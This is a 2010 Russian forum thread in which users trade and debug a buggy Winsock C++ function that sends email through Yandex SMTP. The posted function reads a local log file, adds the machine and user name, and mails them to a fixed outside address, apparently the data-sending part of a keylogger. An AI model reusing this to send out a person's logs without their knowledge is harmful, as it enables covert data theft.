Как отправить что нибудь на email (C++)
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Как отправить что нибудь на email (C++) - 2010-08-08 17:55:06.533333
|
|
|
nisedeath
Сообщений: 9
Оценки: 0
Присоединился: 2010-08-08 17:51:02.406666
|
Пробывал гуглить , что то безуспешно = ( C++ Без формы(без VCL(MFC))
|
|
|
RE: Как отправить что нибудь на email (C++) - 2010-08-08 18:46:53.880000
|
|
|
Selofan
Сообщений: 118
Оценки: 0
Присоединился: 2010-05-28 15:21:53.123333
|
http://www.google.ru/search?hl=uk&source=hp&q=%D0%BE%D1%82%D0%BF%D1%80%D0%B0%D0%B2%D0%BA%D0%B0+%D0%BF%D0%BE%D1%87%D1%82%D1%8B+C%2B%2B&btnG=%D0%9F%D0%BE%D1%88%D1%83%D0%BA+Google&aq=f&aqi=&aql=&oq=&gs_rfai=
|
|
|
RE: Как отправить что нибудь на email (C++) - 2010-08-08 19:45:27.400000
|
|
|
stu5002
Сообщений: 61
Оценки: 0
Присоединился: 2009-03-26 17:54:30.160000
|
void SandLog()
{
char UserName[49],FullName[100];
DWORD size;
size=(DWORD)49;
// инициализируем сокеты
if (FAILED (WSAStartup (MAKEWORD( 1,1 ), &ws))) ;
// создаем сокет
s = socket (AF_INET, SOCK_STREAM, 0);
if (s == INVALID_SOCKET);
// получаем адрес сервера
d_addr = gethostbyname ("smtp.yandex.ru");
if (d_addr==NULL);
// заполняем параметры адреса
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = *((unsigned long *) d_addr->h_addr);
addr.sin_port = htons (25);
// устанавливаем соединение
if (SOCKET_ERROR == (connect (s, (sockaddr *) &addr,
sizeof (addr)))) ;
// приветствуем сервер
strcpy(text,"EHLO smtp.yandex.ru\r\n");
send(s,text,strlen(text),0);
strcpy(text,"AUTH LOGIN\r\n");
send(s,text,strlen(text),0);
strcpy(text,"bG9nBvFt&34Vy\r\n");//здесь логин в base64 кодировке
send(s,text,strlen(text),0);
strcpy(text,"bG9nghjHkTEy\r\n");//здесь пароль в base64 кодировке
send(s,text,strlen(text),0);
// начинаем отправлять конверт состоящий из полей
// MAIL FROM: и RCPT TO: После каждого поля ждем
// подтверждение
// сообщаем отправителя
strcpy(text,"MAIL FROM:<logjkghk@yandex.ru>\r\n");
send(s,text,strlen(text),0);
// сообщаем получателя
strcpy(text,"RCPT TO:<loghjk@gmail.com>\r\n");
send(s,text,strlen(text),0);
// подаем команду, что готовы начать передачу письма
strcpy(text,"DATA\r\n");
send(s,text,strlen(text),0);
GetComputerName(UserName,&size );
GetUserName(FullName,&size );
strcat(FullName,"(");
strcat(FullName,UserName);
strcat(FullName,")");
// тема письма
strcpy(text,"SUBJECT: LogText \r\n");
strcat(text,FullName);
strcat(text,"\r\n");
send(s,text,strlen(text),0);
std::ifstream log(LogName);
send(s,"Начало лога",11,0);
send(s,"\n",2,0);
while(getline(log, mass))SandMass();
send(s,"Конец лога",10,0);
send(s,"\n",2,0);
// говорим, что закончили
strcpy(text,"\r\n.\r\n");
send(s,text,strlen(text),0);
// прощаемся с сервером
strcpy(text,"QUIT");
send(s,text,strlen(text),0);
// закрываем сокет
closesocket(s);
}
только тебе еще надо перед этим библиотеку подключить, если честно уже не помню какую, но знаю что в VisualStudio она называется по-другому нежели в Dev-C++, а этот код я проверял именно на нем.
|
|
|
RE: Как отправить что нибудь на email (C++) - 2010-08-08 19:50:02.243333
|
|
|
stu5002
Сообщений: 61
Оценки: 0
Присоединился: 2009-03-26 17:54:30.160000
|
WinSocks или как то так в вижуал студио эта библиотека называется если не ошибаюсь. В Дев-С++ там как-то с либ32, не помню уже) этот код проверялся только на яндексовской почте, потому что у каждого почтовика свои ньюанся общения с сервером. С джмейла я так и не смог письмо отправить, там толи серверу какие-то дополнительные параметры нужны, толи еще чего, не помню.
|
|
|
RE: Как отправить что нибудь на email (C++) - 2010-08-08 22:45:54.010000
|
|
|
nisedeath
Сообщений: 9
Оценки: 0
Присоединился: 2010-08-08 17:51:02.406666
|
компилируется , но конектицо к яндексу не хочет (
int SandLog()
{
char UserName[49],FullName[100];
char text[255];
DWORD size;
WSADATA ws;
SOCKET s;
size=(DWORD)49;
sockaddr_in addr; // заполняем параметры адреса
addr.sin_family = AF_INET;
addr.sin_port = htons (25);
hostent *d_addr;
if (WSAStartup (MAKEWORD( 1,1 ), &ws))return 0 ;
s = socket (AF_INET, SOCK_STREAM, 0);
if (s == INVALID_SOCKET)return 0;
d_addr = gethostbyname ("smtp.yandex.ru")==NULL ;
if (d_addr==NULL)return 0;
addr.sin_addr.s_addr = *((unsigned long *) d_addr->h_addr);
// устанавливаем соединение
if ((connect (s, (sockaddr *) &addr,sizeof (addr)))==SOCKET_ERROR) return 0;
printf("1\n");
// приветствуем сервер
strcpy(text,"EHLO smtp.yandex.ru\r\n");
send(s,text,strlen(text),0);
strcpy(text,"AUTH LOGIN\r\n");
send(s,text,strlen(text),0);
strcpy(text,"bG9nBvFt&34Vy\r\n");//здесь логин в base64 кодировке
send(s,text,strlen(text),0);
strcpy(text,"bG9nghjHkTEy\r\n");//здесь пароль в base64 кодировке
send(s,text,strlen(text),0);
// начинаем отправлять конверт состоящий из полей
// MAIL FROM: и RCPT TO: После каждого поля ждем
// подтверждение
// сообщаем отправителя
strcpy(text,"MAIL FROM:<logjkghk@yandex.ru>\r\n");
send(s,text,strlen(text),0);
// сообщаем получателя
strcpy(text,"RCPT TO:<loghjk@gmail.com>\r\n");
send(s,text,strlen(text),0);
// подаем команду, что готовы начать передачу письма
strcpy(text,"DATA\r\n");
send(s,text,strlen(text),0);
GetComputerName(UserName,&size );
GetUserName(FullName,&size );
strcat(FullName,"(");
strcat(FullName,UserName);
strcat(FullName,")");
// тема письма
strcpy(text,"SUBJECT: LogText \r\n");
strcat(text,FullName);
strcat(text,"\r\n");
send(s,text,strlen(text),0);
//std::ifstream log(LogName);
send(s,"Начало лога",11,0);
send(s,"\n",2,0);
//while(getline(log, mass))SandMass();
send(s,"Конец лога",10,0);
send(s,"\n",2,0);
// говорим, что закончили
strcpy(text,"\r\n.\r\n");
send(s,text,strlen(text),0);
// прощаемся с сервером
strcpy(text,"QUIT");
send(s,text,strlen(text),0);
// закрываем сокет
closesocket(s);
return 1;
}
на этом месте выходит из функции if ((connect (s, (sockaddr *) &addr,sizeof (addr)))==SOCKET_ERROR) return 0;
|
|
|
RE: Как отправить что нибудь на email (C++) - 2010-08-08 23:31:09.160000
|
|
|
stu5002
Сообщений: 61
Оценки: 0
Присоединился: 2009-03-26 17:54:30.160000
|
Я сам этот код если честно из нета в свое время выдрал и каждую строчку досконально не объясню))) но сейчас кстати сам пишу отправку на почту. Вот только что компилил) Так вот у меня с яндекса тоже не отсылает, но там вылетает уже при общении с сервером. Попробуй рамблер, ну замени в коде смтп сервер, логин, пароль естественно. И кстати логин у тебя должен быть без домена, тобишь без @rambler.ru @yandex.ru, а адресс отправителя таким же только с доменом. Еще вот, если приконнектиться в начале кода напиши std::ofstream keys("c:\\otchet.txt"); в конце keys.close(); а , после каждой функции сенд: send(s,text,strlen(text),0); напиши: keys<<text; keys<<"\n\n"; recv(s,text,sizeof(text),0); keys<<text; keys<<"\n\n"; И тогда у тебя все общение с сервером будет записываться в файл otchet.txt на диске С
|
|
|
RE: Как отправить что нибудь на email (C++) - 2010-08-09 12:10:59.310000
|
|
|
nisedeath
Сообщений: 9
Оценки: 0
Присоединился: 2010-08-08 17:51:02.406666
|
откуда ты выдрал нашел : http://www.cyberguru.ru/cpp-sources/network/svyaz-s-smtp-serverom.html к мейлу вроде конектится, но почему в коде нету авторизации ? странно… пробывал вместо smtp.mail.ru smtp.yandex.ru smtp.rambler.ru не канает
|
|
|
RE: Как отправить что нибудь на email (C++) - 2010-08-09 15:26:39.846666
|
|
|
nisedeath
Сообщений: 9
Оценки: 0
Присоединился: 2010-08-08 17:51:02.406666
|
на mail научился почту отправлять,спс за помощь…
|
|
|
RE: Как отправить что нибудь на email (C++) - 2010-08-09 22:31:50.136666
|
|
|
stu5002
Сообщений: 61
Оценки: 0
Присоединился: 2009-03-26 17:54:30.160000
|
Да, точно оттуда. Авторизацию я вроде сам дописывал, в нете про СМТП команды рылся. На рамблере тоже работает, но через раз, яндекс выкидывает таймаут после QUIT, хотя раньше я именно через яндекс отправлял. Кстати, я так и не смог отослать письмо с аттачментом, но где то читал, что раньше файлы по почте передавались так: кодировались в Бэйс64 и как текст отправлялись. Сейчас не знаю как( Не за что) Помог - плюсани)
|
|
|
RE: Как отправить что нибудь на email (C++) - 2011-11-01 19:23:43.293333
|
|
|
shkolote attake
Сообщений: 268
Оценки: 0
Присоединился: 2010-10-19 05:37:44.873333
|
так с яндкса идёт нет?а то чёт у меня с яндекса ни хера не канает…
|
|
|
|
|